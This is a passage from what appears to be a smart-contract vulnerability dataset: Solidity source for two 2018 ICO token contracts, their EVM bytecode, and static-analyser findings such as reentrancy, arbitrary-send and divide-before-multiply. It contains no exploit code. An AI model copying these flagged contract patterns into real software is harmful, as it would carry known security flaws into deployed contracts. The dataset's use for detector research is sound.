1cf257611cf2611cca565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d2157611d21611cca565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d6f57600080fd5b815161190681611aa1565b600080600060608486031215611d8f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611dba57600080fd5b815161190681611c66565b60008219821115611dd857611dd8611cca565b500190565b6000816000190483118215151615611df757611df7611cca565b500290565b600082611e1957634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e6e5784516001600160a01b031683529383019391830191600101611e49565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201d1e4e8bf2f3e68f95c9eea5fc6b418e40396a4fc958fbc3c7aba35d23ebb8e064736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,134
0xdec7f04f04eae6039e7785c8ff846a3650c48d9a
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 100*10**9; uint256 public constant basePrice = 1*10**1; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 100*10**9; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title LavevelToken * @dev Contract to create the Kimera Token **/ contract Dansco is CrowdsaleToken { string public constant name = "GoldStack"; string public constant symbol = "XAUK"; uint32 public constant decimals = 8; }
0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610087578063a9059cbb146100de575b600080fd5b34801561006857600080fd5b50610071610143565b6040518082815260200191505060405180910390f35b34801561009357600080fd5b506100c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061014d565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b50610129600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610195565b604051808215151515815260200191505060405180910390f35b6000600154905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101d257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561021f57600080fd5b610270826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610303826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103cd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156103c257fe5b818303905092915050565b600081830190508281101515156103e057fe5b809050929150505600a165627a7a723058208c76c0209b7f767a785193e2f7bfd77dfd7029c74cca0446ecba4e103813a9940029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,135
0x062543100374b5fdb33aea4605fb791c4e867b06
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; /** * Protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function changeOwner(address _newOwner) onlyOwner internal { require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { string public constant name = "bean"; string public constant symbol = "XCC"; uint8 public constant decimals = 0; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); emit Mint(_to, _amount); emit Transfer(_owner, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint internal returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * Peterson&#39;s Law Protection * Claim tokens */ function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } MintableToken token = MintableToken(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); emit Transfer(_token, owner, balance); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; uint256 public tokenAllocated; constructor( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; } } contract XCCCrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; enum State {Active, Closed} State public state; // https://www.coingecko.com/en/coins/ethereum // Rate for May 19, 2018 //$0.002 = 1 token => $ 1,000 = 1,4588743325649929 ETH => // 500,000 token = 1,4588743325649929 ETH => 1 ETH = 500,000/1,4588743325649929 = 298,855 uint256 public rate = 342730; //uint256 public rate = 300000; //for test&#39;s mapping (address => uint256) public deposited; mapping(address => bool) public whitelist; uint256 public constant INITIAL_SUPPLY = 5 * (10 ** 12) * (10 ** uint256(decimals)); uint256 public fundForSale = 5 * (10 ** 12) * (10 ** uint256(decimals)); uint256 public fundPreSale = 1 * (10 ** 9) * (10 ** uint256(decimals)); uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Finalized(); constructor( address _owner ) public Crowdsale(_owner) { require(_owner != address(0)); owner = _owner; //owner = msg.sender; //for test transfersEnabled = true; mintingFinished = false; state = State.Active; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForOwner(owner); require(resultMintForOwner); } modifier inState(State _state) { require(state == _state); _; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address _investor) public inState(State.Active) payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); emit TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) { uint256 currentDate = now; //currentDate = 1526860899; //for test&#39;s uint256 currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod < 2){ amountOfTokens = _weiAmount.mul(rate); if (10**3*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 10**5*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(101).div(100); } if (10**5*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 10**6*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(1015).div(1000); } if (10**6*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 5*10**6*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(1025).div(1000); } if (5*10**6*(10 ** uint256(decimals)) <= amountOfTokens && amountOfTokens < 9*10**6*(10 ** uint256(decimals))) { amountOfTokens = amountOfTokens.mul(105).div(100); } if (9*10**6*(10 ** uint256(decimals)) <= amountOfTokens) { amountOfTokens = amountOfTokens.mul(110).div(100); } if(currentPeriod == 0){ amountOfTokens = amountOfTokens.mul(1074).div(1000); if (tokenAllocated.add(amountOfTokens) > fundPreSale) { emit TokenLimitReached(tokenAllocated, amountOfTokens); return 0; } return amountOfTokens; } } return amountOfTokens; } function getPeriod(uint256 _currentDate) public pure returns (uint) { //1526860800 - May, 21, 2018 00:00:00 && 1529539199 - Jun, 20, 2018 23:59:59 //1540080000 - Oct, 21, 2018 00:00:00 && 1542758399 - Nov, 20, 2018 23:59:59 if( 1526860800 <= _currentDate && _currentDate <= 1529539199){ return 0; } if( 1540080000 <= _currentDate && _currentDate <= 1542758399){ return 1; } return 10; } function deposit(address investor) internal { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function mintForOwner(address _wallet) internal returns (bool result) { result = false; require(_wallet != address(0)); balances[_wallet] = balances[_wallet].add(INITIAL_SUPPLY); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public inState(State.Active) returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (10**3*(10 ** uint256(decimals)) > addTokens || addTokens > 9999*10**3*(10 ** uint256(decimals))) { return 0; } if (tokenAllocated.add(addTokens) > fundForSale) { emit TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } function finalize() public onlyOwner inState(State.Active) returns (bool result) { result = false; state = State.Closed; wallet.transfer(address(this).balance); finishMinting(); emit Finalized(); result = true; } function setRate(uint256 _newRate) external onlyOwner returns (bool){ require(_newRate > 0); rate = _newRate; return true; } }
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101a257806306fdde03146101d1578063095ea7b31461026157806318160ddd146102c657806323b872dd146102f15780632c4e722e146103765780632ff2e9dc146103a1578063313ce567146103cc57806334fcf437146103fd5780634042b66f14610442578063466bb3121461046d5780634b2c0706146104c45780634bb278f314610505578063521eb27314610534578063661884631461058b57806370a08231146105f057806378f7aeee146106475780638da5cb5b14610672578063916576c8146106c957806395d89b41146106f45780639b19251a14610784578063a9059cbb146107df578063bef97c8714610844578063c19d93fb14610873578063cb13cddb146108ac578063d1e2eb5e14610903578063d73dd6231461092e578063dd62ed3e14610993578063df8de3e714610a0a578063e8acee9e14610a4d578063ec8ac4d814610a78578063fc38ce1914610ac2575b61019f33610b03565b50005b3480156101ae57600080fd5b506101b7610d30565b604051808215151515815260200191505060405180910390f35b3480156101dd57600080fd5b506101e6610d43565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022657808201518184015260208101905061020b565b50505050905090810190601f1680156102535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026d57600080fd5b506102ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7c565b604051808215151515815260200191505060405180910390f35b3480156102d257600080fd5b506102db610e6e565b6040518082815260200191505060405180910390f35b3480156102fd57600080fd5b5061035c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e74565b604051808215151515815260200191505060405180910390f35b34801561038257600080fd5b5061038b611267565b6040518082815260200191505060405180910390f35b3480156103ad57600080fd5b506103b661126d565b6040518082815260200191505060405180910390f35b3480156103d857600080fd5b506103e1611280565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040957600080fd5b5061042860048036038101908080359060200190929190505050611285565b604051808215151515815260200191505060405180910390f35b34801561044e57600080fd5b50610457611302565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611308565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b506104ef60048036038101908080359060200190929190505050611351565b6040518082815260200191505060405180910390f35b34801561051157600080fd5b5061051a6113a9565b604051808215151515815260200191505060405180910390f35b34801561054057600080fd5b50610549611521565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059757600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611547565b604051808215151515815260200191505060405180910390f35b3480156105fc57600080fd5b50610631600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d8565b6040518082815260200191505060405180910390f35b34801561065357600080fd5b5061065c611821565b6040518082815260200191505060405180910390f35b34801561067e57600080fd5b50610687611827565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b506106de61184d565b6040518082815260200191505060405180910390f35b34801561070057600080fd5b50610709611853565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074957808201518184015260208101905061072e565b50505050905090810190601f1680156107765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079057600080fd5b506107c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188c565b604051808215151515815260200191505060405180910390f35b3480156107eb57600080fd5b5061082a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118ac565b604051808215151515815260200191505060405180910390f35b34801561085057600080fd5b50610859611b04565b604051808215151515815260200191505060405180910390f35b34801561087f57600080fd5b50610888611b17565b6040518082600181111561089857fe5b60ff16815260200191505060405180910390f35b3480156108b857600080fd5b506108ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b2a565b6040518082815260200191505060405180910390f35b34801561090f57600080fd5b50610918611b42565b6040518082815260200191505060405180910390f35b34801561093a57600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b48565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d44565b6040518082815260200191505060405180910390f35b348015610a1657600080fd5b50610a4b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de3565b005b348015610a5957600080fd5b50610a6261214f565b6040518082815260200191505060405180910390f35b610aac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b03565b6040518082815260200191505060405180910390f35b348015610ace57600080fd5b50610aed60048036038101908080359060200190929190505050612155565b6040518082815260200191505060405180910390f35b600080600080806001811115610b1557fe5b600a60019054906101000a900460ff166001811115610b3057fe5b141515610b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610b7857600080fd5b349250610b8483612155565b91506000821415610b9457600080fd5b610ba98360085461223d90919063ffffffff16565b600881905550610bc48260095461223d90919063ffffffff16565b600981905550610bf78583600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661225b565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8484604051808381526020018281526020019250505060405180910390a26000600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610cb357610cac600160105461223d90919063ffffffff16565b6010819055505b610cbc85612461565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610d24573d6000803e3d6000fd5b50819350505050919050565b600a60009054906101000a900460ff1681565b6040805190810160405280600481526020017f6265616e0000000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610e8d57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ec957600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610f1757600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610fa257600080fd5b600360009054906101000a900460ff161515610fbd57600080fd5b61100f83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252d90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117683600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252d90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373fffffffffffffffff